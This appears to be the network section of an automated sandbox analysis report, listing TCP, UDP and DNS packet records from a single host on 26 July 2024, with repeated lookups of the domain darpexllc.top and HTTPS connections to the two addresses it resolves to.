Jul 26, 2024 09:26:19.436796904 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.437004089 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.437197924 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.437258959 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.437328100 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.437350035 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.437414885 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.458647013 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.458722115 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.458785057 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.458838940 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.458859921 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.459146976 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.459208965 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.459462881 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.459527016 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.459685087 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.459743023 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.459816933 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.459880114 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.461191893 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.461267948 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.461349010 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.461414099 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.463762045 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.463846922 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.464162111 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.464237928 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.466439009 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.466509104 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.466625929 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.466682911 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.466732025 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.466778040 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.468909025 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.468961000 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.528157949 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.528244019 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.528259993 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.528290987 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.528465986 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.528532982 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.528544903 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.528589010 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.528748989 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.528804064 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.528894901 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.528945923 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.546838045 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.546901941 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.546914101 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.546947002 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.547528982 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.547586918 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.547589064 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.547605038 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.547636032 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.548051119 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.548113108 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.548125029 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.548154116 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.548170090 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.548187017 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.548427105 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.548475027 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.548492908 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.548540115 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.548557997 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.548609972 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.548882008 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.548926115 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.549540043 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.549595118 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.549595118 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.549608946 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.549640894 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.550002098 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.550050974 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.550569057 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.550617933 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.550626040 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.550638914 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.550673962 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.550693035 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.550729990 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.551434040 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.551485062 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.551486969 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.551507950 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.551527977 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.551539898 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.560606003 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.560662031 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.619750023 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.619801998 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.620174885 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.620223999 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.620702028 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.620757103 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.620765924 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.620780945 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.620806932 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.620819092 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.620841026 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.639513969 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.639556885 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.639568090 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.639575958 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.639590979 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.639600992 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.639624119 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.639667988 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.639688969 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.640110970 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.640163898 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.640176058 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.640213013 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.640575886 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.640634060 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.641196966 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.641252995 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.641321898 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.641381979 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.642195940 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.642257929 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.642270088 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.642365932 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.642446041 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.642489910 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.642537117 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.642640114 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.643011093 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.643047094 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.643059015 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.643064976 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.643081903 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.643093109 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.643122911 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.643136978 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.643177986 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.643250942 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.643255949 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.643265009 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.643284082 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.643402100 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.652359962 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.652406931 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.652411938 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.652437925 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.652453899 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.652493000 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.712035894 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.712094069 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.712233067 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.712272882 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.712415934 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.712459087 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.712969065 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.713027954 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.713038921 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.713067055 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.713079929 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.713102102 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.731427908 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.731477976 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.731507063 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.731549978 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.731731892 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.731779099 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.731870890 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.731914997 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.732209921 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.732260942 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.732403040 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.732450008 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.732867956 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.732919931 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.732974052 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.733005047 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.733021975 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.733028889 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.733037949 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.733048916 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.733053923 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.733083963 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.733108044 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.733145952 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.733176947 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.733459949 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.733473063 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:23.531521082 CEST	49169	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:23.531578064 CEST	443	49169	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:23.531671047 CEST	49169	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:23.675412893 CEST	49169	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:23.675470114 CEST	443	49169	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:24.182837963 CEST	443	49169	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:24.182908058 CEST	49169	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:24.283669949 CEST	49169	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:24.283731937 CEST	443	49169	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:24.284394026 CEST	443	49169	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:24.285402060 CEST	49169	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:24.332509041 CEST	443	49169	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:24.765465975 CEST	443	49169	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:24.765716076 CEST	443	49169	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:24.765713930 CEST	49169	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:24.765789986 CEST	49169	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:28.204308987 CEST	49170	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:28.204416037 CEST	443	49170	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:28.204476118 CEST	49170	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:28.205037117 CEST	49170	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:28.205070972 CEST	443	49170	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:28.700398922 CEST	443	49170	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:28.700500965 CEST	49170	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:28.704536915 CEST	49170	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:28.704600096 CEST	443	49170	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:28.705167055 CEST	443	49170	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:28.707207918 CEST	49170	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:28.748506069 CEST	443	49170	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:29.048670053 CEST	443	49170	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:29.048894882 CEST	443	49170	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:29.048933029 CEST	49170	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:29.049011946 CEST	49170	443	192.168.2.22	188.114.96.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 26, 2024 09:26:01.697520971 CEST	54562	53	192.168.2.22	8.8.8.8
Jul 26, 2024 09:26:01.808126926 CEST	53	54562	8.8.8.8	192.168.2.22
Jul 26, 2024 09:26:03.387453079 CEST	52917	53	192.168.2.22	8.8.8.8
Jul 26, 2024 09:26:03.400985003 CEST	53	52917	8.8.8.8	192.168.2.22
Jul 26, 2024 09:26:03.404119015 CEST	62751	53	192.168.2.22	8.8.8.8
Jul 26, 2024 09:26:03.719218969 CEST	53	62751	8.8.8.8	192.168.2.22
Jul 26, 2024 09:26:08.766789913 CEST	57893	53	192.168.2.22	8.8.8.8
Jul 26, 2024 09:26:08.862174988 CEST	53	57893	8.8.8.8	192.168.2.22
Jul 26, 2024 09:26:08.863652945 CEST	54821	53	192.168.2.22	8.8.8.8
Jul 26, 2024 09:26:08.875622034 CEST	53	54821	8.8.8.8	192.168.2.22
Jul 26, 2024 09:26:09.940021038 CEST	54719	53	192.168.2.22	8.8.8.8
Jul 26, 2024 09:26:09.947981119 CEST	53	54719	8.8.8.8	192.168.2.22
Jul 26, 2024 09:26:09.949438095 CEST	49881	53	192.168.2.22	8.8.8.8
Jul 26, 2024 09:26:09.956914902 CEST	53	49881	8.8.8.8	192.168.2.22
Jul 26, 2024 09:26:13.894876957 CEST	54998	53	192.168.2.22	8.8.8.8
Jul 26, 2024 09:26:13.901669025 CEST	53	54998	8.8.8.8	192.168.2.22
Jul 26, 2024 09:26:13.907996893 CEST	52781	53	192.168.2.22	8.8.8.8
Jul 26, 2024 09:26:13.914339066 CEST	53	52781	8.8.8.8	192.168.2.22
Jul 26, 2024 09:26:17.905297995 CEST	63926	53	192.168.2.22	8.8.8.8
Jul 26, 2024 09:26:17.916965961 CEST	53	63926	8.8.8.8	192.168.2.22
Jul 26, 2024 09:26:23.339454889 CEST	65510	53	192.168.2.22	8.8.8.8
Jul 26, 2024 09:26:23.347250938 CEST	53	65510	8.8.8.8	192.168.2.22
Jul 26, 2024 09:26:23.522252083 CEST	62672	53	192.168.2.22	8.8.8.8
Jul 26, 2024 09:26:23.531229019 CEST	53	62672	8.8.8.8	192.168.2.22
Jul 26, 2024 09:26:28.186235905 CEST	56475	53	192.168.2.22	8.8.8.8
Jul 26, 2024 09:26:28.194397926 CEST	53	56475	8.8.8.8	192.168.2.22
Jul 26, 2024 09:26:28.196923018 CEST	49384	53	192.168.2.22	8.8.8.8
Jul 26, 2024 09:26:28.203944921 CEST	53	49384	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 26, 2024 09:26:01.697520971 CEST	192.168.2.22	8.8.8.8	0x8e97	Standard query (0)	darpexllc.top	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:26:03.387453079 CEST	192.168.2.22	8.8.8.8	0x8eb2	Standard query (0)	darpexllc.top	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:26:03.404119015 CEST	192.168.2.22	8.8.8.8	0xd9df	Standard query (0)	darpexllc.top	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:26:08.766789913 CEST	192.168.2.22	8.8.8.8	0x1100	Standard query (0)	darpexllc.top	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:26:08.863652945 CEST	192.168.2.22	8.8.8.8	0x2664	Standard query (0)	darpexllc.top	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:26:09.940021038 CEST	192.168.2.22	8.8.8.8	0xd97e	Standard query (0)	darpexllc.top	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:26:09.949438095 CEST	192.168.2.22	8.8.8.8	0x9c5b	Standard query (0)	darpexllc.top	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:26:13.894876957 CEST	192.168.2.22	8.8.8.8	0x4189	Standard query (0)	darpexllc.top	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:26:13.907996893 CEST	192.168.2.22	8.8.8.8	0x2383	Standard query (0)	darpexllc.top	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:26:17.905297995 CEST	192.168.2.22	8.8.8.8	0xbbb5	Standard query (0)	darpexllc.top	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:26:23.339454889 CEST	192.168.2.22	8.8.8.8	0x1185	Standard query (0)	darpexllc.top	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:26:23.522252083 CEST	192.168.2.22	8.8.8.8	0x98ab	Standard query (0)	darpexllc.top	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:26:28.186235905 CEST	192.168.2.22	8.8.8.8	0xae0f	Standard query (0)	darpexllc.top	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:26:28.196923018 CEST	192.168.2.22	8.8.8.8	0x61d4	Standard query (0)	darpexllc.top	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jul 26, 2024 09:26:01.808126926 CEST	8.8.8.8	192.168.2.22	0x8e97	No error (0)	darpexllc.top	188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:26:01.808126926 CEST	8.8.8.8	192.168.2.22	0x8e97	No error (0)	darpexllc.top	188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:26:03.400985003 CEST	8.8.8.8	192.168.2.22	0x8eb2	No error (0)	darpexllc.top	188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:26:03.400985003 CEST	8.8.8.8	192.168.2.22	0x8eb2	No error (0)	darpexllc.top	188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:26:03.719218969 CEST	8.8.8.8	192.168.2.22	0xd9df	No error (0)	darpexllc.top	188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:26:03.719218969 CEST	8.8.8.8	192.168.2.22	0xd9df	No error (0)	darpexllc.top	188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:26:08.862174988 CEST	8.8.8.8	192.168.2.22	0x1100	No error (0)	darpexllc.top	188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:26:08.862174988 CEST	8.8.8.8	192.168.2.22	0x1100	No error (0)	darpexllc.top	188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:26:08.875622034 CEST	8.8.8.8	192.168.2.22	0x2664	No error (0)	darpexllc.top	188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:26:08.875622034 CEST	8.8.8.8	192.168.2.22	0x2664	No error (0)	darpexllc.top	188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:26:09.947981119 CEST	8.8.8.8	192.168.2.22	0xd97e	No error (0)	darpexllc.top	188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:26:09.947981119 CEST	8.8.8.8	192.168.2.22	0xd97e	No error (0)	darpexllc.top	188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:26:09.956914902 CEST	8.8.8.8	192.168.2.22	0x9c5b	No error (0)	darpexllc.top	188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:26:09.956914902 CEST	8.8.8.8	192.168.2.22	0x9c5b	No error (0)	darpexllc.top	188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:26:13.901669025 CEST	8.8.8.8	192.168.2.22	0x4189	No error (0)	darpexllc.top	188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:26:13.901669025 CEST	8.8.8.8	192.168.2.22	0x4189	No error (0)	darpexllc.top	188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:26:13.914339066 CEST	8.8.8.8	192.168.2.22	0x2383	No error (0)	darpexllc.top	188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:26:13.914339066 CEST	8.8.8.8	192.168.2.22	0x2383	No error (0)	darpexllc.top	188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:26:17.916965961 CEST	8.8.8.8	192.168.2.22	0xbbb5	No error (0)	darpexllc.top	188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:26:17.916965961 CEST	8.8.8.8	192.168.2.22	0xbbb5	No error (0)	darpexllc.top	188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:26:23.347250938 CEST	8.8.8.8	192.168.2.22	0x1185	No error (0)	darpexllc.top	188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:26:23.347250938 CEST	8.8.8.8	192.168.2.22	0x1185	No error (0)	darpexllc.top	188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:26:23.531229019 CEST	8.8.8.8	192.168.2.22	0x98ab	No error (0)	darpexllc.top	188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:26:23.531229019 CEST	8.8.8.8	192.168.2.22	0x98ab	No error (0)	darpexllc.top	188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:26:28.194397926 CEST	8.8.8.8	192.168.2.22	0xae0f	No error (0)	darpexllc.top	188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:26:28.194397926 CEST	8.8.8.8	192.168.2.22	0xae0f	No error (0)	darpexllc.top	188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:26:28.203944921 CEST	8.8.8.8	192.168.2.22	0x61d4	No error (0)	darpexllc.top	188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:26:28.203944921 CEST	8.8.8.8	192.168.2.22	0x61d4	No error (0)	darpexllc.top	188.114.97.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

darpexllc.top

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
